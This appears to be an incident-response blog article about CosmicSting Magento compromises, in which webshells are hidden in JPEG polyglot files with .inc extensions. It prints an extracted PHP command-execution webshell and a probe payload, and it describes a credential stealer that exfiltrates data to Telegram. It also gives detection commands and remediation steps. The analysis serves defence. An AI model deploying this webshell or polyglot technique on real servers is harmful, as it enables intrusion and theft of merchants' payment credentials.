Back to Articles

CosmicSting & JFIF Evasion: How Magento Webshells Hide Inside Image Files

Share:
CosmicSting JFIF Evasion

You scan the media directory for malicious PHP files. Nothing. You grep for eval( and base64_decode across all .php files. Clean. You move on. Meanwhile, seven webshells sit untouched in the same directory you just scanned — hidden inside files that look like JPEG images and carry .inc extensions your scanner never checked.

This is the reality of modern Magento exploitation in 2026. Attackers leveraging CosmicSting (CVE-2024-34102) have moved well beyond dropping obvious PHP backdoors. They're deploying polyglot files that pass as images while executing as PHP, using file extensions that slip through extension-based scan filters. Here's how the technique works, why it's effective, and how to catch it.

CosmicSting in 30 Seconds

CVE-2024-34102 is an XML external entity (XXE) injection vulnerability in Magento / Adobe Commerce that allows an unauthenticated attacker to read arbitrary files from the server. The critical file they're after: app/etc/env.php, which contains the Magento encryption key.

With the encryption key in hand, the attacker can craft serialized PHP objects that Magento will trustingly unserialize. This leads to Remote Code Execution (RCE) through deserialization gadget chains — typically using Monolog's BufferHandler or GuzzleHttp's FileCookieJar to write arbitrary files to disk.

XXE (read env.php)
    → Steal encryption key
        → Craft serialized payload
            → Magento unserializes it
                → Gadget chain writes webshell to disk

The vulnerability was patched in mid-2024, but here's the catch: patching doesn't invalidate a leaked encryption key. If the key was stolen before the patch was applied, the attacker retains the ability to generate valid serialized payloads indefinitely — until the key is rotated. This is why we're still seeing active CosmicSting compromises well into 2026 on servers that were patched months ago.

The JFIF Evasion Technique

Here's where it gets interesting. The webshells dropped by these attackers aren't standard PHP files. They're polyglot files — files that are simultaneously valid JPEG images and valid PHP scripts.

The structure looks like this:

[JFIF Header]  ← Valid JPEG magic bytes (FF D8 FF E0)
[JFIF Marker]  ← "JFIF" identifier + minimal image data
[PHP Code]     ← Injected after the JFIF header
[JPEG Footer]  ← Trailing image structure bytes

When you open this file in an image viewer, it renders as a tiny (usually 1x1 pixel) valid JPEG. When PHP's interpreter processes it, the binary JFIF data before the <?php tag is treated as raw output (which gets discarded in a web context), and the PHP code executes normally.

The actual payload extracted from a recent incident:

<?php
error_reporting(0);
if(ob_get_level()>0){ob_end_clean();}
$k="[REDACTED_KEY]";
if(!isset($_REQUEST["k"])||$_REQUEST["k"]!==$k){exit;}
$c=null;
elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}
if($c!==null){
    $o="";
    // Try system()
    $f="\x73\x79\x73\x74\x65\x6d";
    if(function_exists($f)){
        ob_start();@$f($c);$o=ob_get_clean();
    } else {
        // Fall through: passthru, exec, shell_exec, popen, backticks
        // [truncated for brevity]
    }
    echo"[S]".$o."[E]";
} else {
    echo"OK";
}
?>

It's a command execution shell with a hardcoded access key. The attacker visits the file URL with parameters ?k=[key]&c=[command] and gets arbitrary command execution. The hex-encoded function names (\x73\x79\x73\x74\x65\x6d = "system") are a basic attempt to evade signature-based detection.

The Extension Game

The JFIF header is only half the evasion. The other half is the file extension. These webshells don't use .php — they use .inc.

Why does this matter? Because most malware scanners — and most analysts running manual scans — filter by extension:

# What most people run (misses .inc, .phtml, .phar, .shtml, .phps)
grep -rlE "eval\s*\(|base64_decode" --include="*.php" /path/to/webroot/

# What you should run on media/upload directories (no extension filter)
grep -rlE "eval\s*\(|base64_decode|system\s*\(|passthru|shell_exec" /path/to/media/

The --include="*.php" flag is so ingrained in scanning workflows that it's practically muscle memory. But Apache and Nginx configurations frequently map .inc, .phtml, and other extensions to PHP processing. Even if they don't, an attacker can include these files from another PHP script, or the deserialization gadget chain can load them directly.

On the servers I've investigated, the .inc webshells were placed in Magento's media upload directories — specifically pub/media/custom_options/ and pub/media/customer_address/. These directories are designed to hold user-uploaded images and are typically excluded from code-level security scanning because "they only contain images."

The Deployment Pattern

The CosmicSting exploitation chain follows a consistent pattern across the incidents I've analyzed:

Phase 1: Probe

The attacker drops a minimal test file to verify code execution:

[JFIF Header]<?php echo "PRB_[random_id]_inc"; ?>[JPEG Footer]

This file is tiny (around 170 bytes). If the attacker can request it and see the probe string in the response, they know PHP is processing files in that directory. The PRB_ prefix is a consistent marker across multiple incidents — likely an automated toolkit.

Phase 2: Webshell Deployment

Once the probe confirms execution, the attacker deploys the full command execution shells. They typically drop multiple copies with different access keys — providing redundancy in case one is discovered and deleted. In one incident, three unique webshells were deployed, each duplicated across two different subdirectories for a total of six files, all with different access keys.

Phase 3: Credential Theft

The most dangerous payload isn't the webshell — it's the credential stealer. Using the stolen encryption key, the attacker deploys a PHP script (often using .phar extension variants like .phar. or .phar.. to evade extension checks) that:

  1. Reads app/etc/env.php to get the encryption key
  2. Queries the database for encrypted values (payment gateway credentials, API keys)
  3. Decrypts them using Magento's own cryptographic functions
  4. Exfiltrates the plaintext credentials to a Telegram bot via the Bot API

This means the attacker doesn't just have shell access — they have the client's payment processor credentials in plaintext, exfiltrated to a channel they control.

Why Patching Alone Doesn't Fix It

This is the most critical point, and the one most often missed: applying the Magento security patch closes the XXE entry point, but it does not invalidate a previously stolen encryption key.

If the key was leaked before patching:

  • The attacker can still craft valid serialized payloads
  • Magento will still unserialize them (the deserialization endpoint is a feature, not a bug)
  • New webshells can be dropped at any time
  • Cleanup without key rotation is futile — the attacker will re-compromise within days

I've seen servers where the patch was applied months ago, but the encryption key was never rotated. The attacker continues to drop fresh webshells weekly, using deserialization payloads signed with the stolen key. The patch stopped the initial XXE vector, but the attacker already has what they need.

Detection: How to Find What Scanners Miss

1. Content-based scanning on media directories

Never use extension filters when scanning upload/media directories. These directories should only contain static assets — any executable code is suspicious regardless of extension:

# Find ALL non-media files in upload directories
find /path/to/pub/media/ -type f \
    ! \( -name "*.jpg" -o -name "*.jpeg" -o -name "*.png" \
    -o -name "*.gif" -o -name "*.webp" -o -name "*.svg" \
    -o -name "*.css" -o -name "*.js" -o -name "*.woff*" \
    -o -name "*.ttf" -o -name "*.eot" -o -name "*.ico" \
    -o -name "*.pdf" -o -name "*.mp4" \) \
    -printf '%T+ %s %p\n' | sort -r

# Content-based grep for PHP code in ANY file in media dirs
grep -rl '<?php' /path/to/pub/media/ 2>/dev/null

2. Check for PHP inside image files

A legitimate JPEG never contains <?php. This one-liner catches polyglot files regardless of extension:

# Find files with JFIF/JPEG headers that also contain PHP code
find /path/to/pub/media/ -type f -exec \
    sh -c 'file "$1" | grep -qi "jpeg\|JFIF" && grep -l "<?php" "$1"' _ {} \;

3. Look for CosmicSting deserialization artifacts

The deserialization payloads are typically written to predictable locations as session-like files:

# CosmicSting deserialization payloads (sess_ prefix pattern)
find /path/to/pub/media/ -name "sess_*" -printf '%T+ %s %p\n' 2>/dev/null

# Phar extension variants used for evasion
find /path/to/pub/media/ -name "*.phar*" -printf '%T+ %s %p\n' 2>/dev/null

4. Verify the encryption key hasn't been compromised

If you find any CosmicSting artifacts on a server — even cleaned ones — assume the encryption key is compromised. Check for the telltale signs:

# Check Magento version (is it patched?)
php bin/magento --version

# Look for XXE evidence in access logs
grep -E "checkout/cart|rest/.*carts" /var/log/access.log \
    | grep -i "xml\|entity\|DOCTYPE"

Remediation: The Complete Checklist

If you find CosmicSting artifacts on a Magento server, here's what actually needs to happen:

  1. Remove all malware files — webshells, probes, deserialization payloads, credential stealers. Remember to scan without extension filters.
  2. Rotate the Magento encryption key — this is the single most critical step. Without it, the attacker will re-compromise the server. After rotation, re-encrypt all sensitive database values.
  3. Rotate all stored credentials — payment gateway API keys, SMTP passwords, third-party service tokens. If a credential stealer was present, assume everything in core_config_data is compromised.
  4. Apply the security patch if not already done.
  5. Audit admin accounts — check for unauthorized users created during the compromise window.
  6. Monitor for re-compromise — watch the media directories for new files, especially in the days following cleanup.

The Lesson

The days of scanning for *.php files and calling it a malware sweep are over. Attackers are using polyglot files, non-standard extensions, and media directory placement to build webshells that are invisible to extension-based scanning. The JFIF evasion technique is simple, effective, and increasingly common in Magento compromises.

If you're doing incident response on e-commerce platforms: scan by content, not by extension. Check media directories for executable code. And if you find CosmicSting artifacts, rotate the encryption key before you do anything else — because without that step, every file you delete will be replaced by the time you write your report.